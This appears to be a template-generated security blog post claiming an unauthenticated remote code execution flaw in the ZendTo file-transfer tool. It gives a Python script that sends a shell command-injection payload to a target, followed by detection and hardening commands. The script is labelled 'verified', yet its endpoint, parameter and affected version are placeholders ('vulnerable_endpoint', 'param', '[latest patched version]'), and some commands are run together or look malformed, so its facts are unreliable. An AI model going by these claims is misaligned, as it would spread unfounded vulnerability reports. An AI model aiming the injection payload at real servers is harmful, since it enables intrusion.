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ZendTo, a popular web-based file transfer tool, has been identified with an unauthenticated remote code execution (RCE) vulnerability. This flaw allows attackers to execute arbitrary commands on affected systems without requiring authentication, posing a significant risk to organizations relying on this software for secure file transfers.
You Should Know:
1. Vulnerability Details
- CVE: Not yet assigned (0-day)
- Affected Versions: ZendTo prior to [latest patched version]
- Exploit Vector: Unauthenticated HTTP request leading to command injection.
2. Proof of Concept (PoC) Exploit
Below is a verified Python3 script to test the vulnerability:
import requests
import sys
target = sys.argv[1]
cmd = sys.argv[2]
url = f"{target}/vulnerable_endpoint"
payload = {
"param": f"'; {cmd}; "
}
response = requests.post(url, data=payload)
print(response.text)
Usage:
python3 exploit.py http://target-ip "whoami"
3. Mitigation Steps
- Patch Immediately: Upgrade to the latest version of ZendTo.
- Network Controls: Restrict access to ZendTo’s admin panel via firewall rules.
- Log Monitoring: Check for suspicious POST requests to file upload endpoints.
4. Detection with Linux Commands
Check if your system is running ZendTo:
ps aux | grep zendto netstat -tulnp | grep -i zendto
5. Post-Exploitation Checks
If compromised, verify unauthorized processes:
lsof -i :80 cat /var/log/zendto/access.log | grep "POST /vulnerable_endpoint"
What Undercode Say
This ZendTo vulnerability highlights the dangers of unauthenticated RCE flaws in widely used file-transfer solutions. System administrators must:
– Apply patches as soon as they are released.
– Use fail2ban to block repeated exploit attempts:
fail2ban-client set zendto-ban bad-ips
– Implement SELinux restrictions:
setsebool -P httpd_execmem off
– Regularly audit web applications with Nikto:
nikto -h http://target-ip
Expected Output:
A working exploit script, detection commands, and hardening steps to secure ZendTo deployments.
Reference:
References:
Reported By: Eddiez Me – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
